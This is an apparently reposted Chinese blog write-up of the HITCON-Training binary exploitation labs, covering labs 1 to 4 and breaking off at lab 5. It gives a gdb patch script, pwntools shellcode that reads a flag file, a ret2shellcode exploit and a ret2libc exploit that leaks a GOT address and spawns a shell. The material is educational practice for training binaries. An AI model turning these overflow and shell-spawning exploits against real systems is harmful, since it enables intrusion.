码迷,mamicode.com
首页 > 其他好文 > 详细

HITCON-Training-Writeup

时间:2018-03-14 23:04:17      阅读:1404      评论:0      收藏:0      [点我收藏+]

标签:secret   deb   查看   ram   segment   let   sig   prctl   read   

HITCON-Training-Writeup

原文链接M4x@10.0.0.55

复习一下二进制基础,写写HITCON-Training的writeup,题目地址:https://github.com/scwuaptx/HITCON-Training

Outline

  • Basic Knowledge
  • Introduction
    • Reverse Engineering
    • Static Analysis
    • Dynamic Analysis
    • Exploitation
    • Useful Tool
    • IDA PRO
    • GDB
    • Pwntool
    • lab 1 - sysmagic
  • Section
  • Compile,linking,assmbler
  • Execution
    • how program get run
    • Segment
  • x86 assembly
    • Calling convention
    • lab 2 - open/read/write
    • shellcoding
  • Stack Overflow
  • Buffer Overflow
  • Return to Text/Shellcode
    • lab 3 - ret2shellcode
  • Protection
    • ASLR/DEP/PIE/StackGuard
  • Lazy binding
  • Return to Library
    • lab 4 - ret2lib
  • Return Oriented Programming
  • ROP
    • lab 5 - simple rop
  • Using ROP bypass ASLR
    • ret2plt
  • Stack migration
    • lab 6 - migration
  • Format String Attack
  • Format String
  • Read from arbitrary memory
    • lab 7 - crack
  • Write to arbitrary memory
    • lab 8 - craxme
  • Advanced Trick
    • EBP chain
    • lab 9 - playfmt
  • x64 Binary Exploitation
  • x64 assembly
  • ROP
  • Format string Attack
  • Heap exploitation
  • Glibc memory allocator overview
  • Vulnerablility on heap
    • Use after free
    • lab 10 - hacknote
    • Heap overflow
    • house of force
      • lab 11 - 1 - bamboobox1
    • unlink
      • lab 11 - 2 - bamboobox2
  • Advanced heap exploitation
  • Fastbin attack
    • lab 12 - babysecretgarden
  • Shrink the chunk
  • Extend the chunk
    • lab 13 - heapcreator
  • Unsortbin attack
    • lab 14 - magicheap
  • C++ Exploitation
  • Name Mangling
  • Vtable fucntion table
  • Vector & String
  • New & delete
  • Copy constructor & assignment operator
    • lab 15 - zoo

Writeup

lab1-sysmagic

一个很简单的逆向题,看get_flag函数的逻辑逆回来即可,直接逆向的方法就不说了

或者经过观察,flag的生成与输入无关,因此可以通过patch或者调试直接获得flag

  • patch

技术分享图片

修改关键判断即可,patch后保存运行,输入任意值即可得flag

技术分享图片

  • 调试

通过观察汇编,我们只需使下图的cmp满足即可,可以通过gdb调试,在调试过程中手动满足该条件

技术分享图片

直接写出gdb脚本

lab1 [master●●] cat solve
b *get_flag+389
r
#your input
set $eax=$edx
c
lab1 [master●●]

也可得到flag

技术分享图片

同时注意,IDA对字符串的识别出了问题,修复方法可以参考inndy的ROP2:http://www.cnblogs.com/WangAoBo/p/7706719.html

lab2-orw.bin

通过查看prctl的man手册发现该程序限制了一部分系统调用,根据题目的名字open,read,write以及IDA分析,很明显是要我们自己写读取并打印flag的shellcode了,偷个懒,直接调用shellcraft模块

lab2 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/m4x/HITCON-Training/LAB/lab2/testFlag")
shellcode += sc.open("esp")
#  open返回的文件文件描述符存贮在eax寄存器里 
shellcode += sc.read("eax", "esp", 0x100)
#  open读取的内容放在栈顶 
shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
lab2 [master●●] 

该题与pwnable.tw的orw类似,那道题的writeup很多,因此就不说直接撸汇编的方法了

lab3-ret2sc

很简单的ret2shellcode,程序没有开启NX和canary保护,把shellcode存贮在name这个全局变量上,并ret到该地址即可

lab3 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context(os = "linux", arch = "i386")

io = process("./ret2sc")

shellcode = asm(shellcraft.execve("/bin/sh"))
io.sendlineafter(":", shellcode)

payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)

io.interactive()
io.close()
lab3 [master●●] 

需要注意的是,该程序中的read是通过esp寻址的,因此具体的offset可以通过调试查看

技术分享图片

lab4-ret2lib

ret2libc,并且程序中已经有了一个可以查看got表中值的函数See_something,直接leak出libcBase,通过one_gadget或者system("/bin/sh")都可以get shell,/bin/sh可以通过read读入到内存中,也可以使用binary中的字符串

lab4 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcBase = int(io.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]

success("libcBase -> {:#x}".format(libcBase))
#  oneGadget = libcBase + 0x3a9fc

#  payload = flat(cyclic(60), oneGadget)
payload = flat(cyclic(60), libcBase + libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
io.sendlineafter(" :", payload)

io.interactive()
io.close()
lab4 [master●●] 

lab5-simplerop

未完待续,剩下的啥时候有空再写

HITCON-Training-Writeup

标签:secret   deb   查看   ram   segment   let   sig   prctl   read   

原文地址:https://www.cnblogs.com/WangAoBo/p/8570640.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!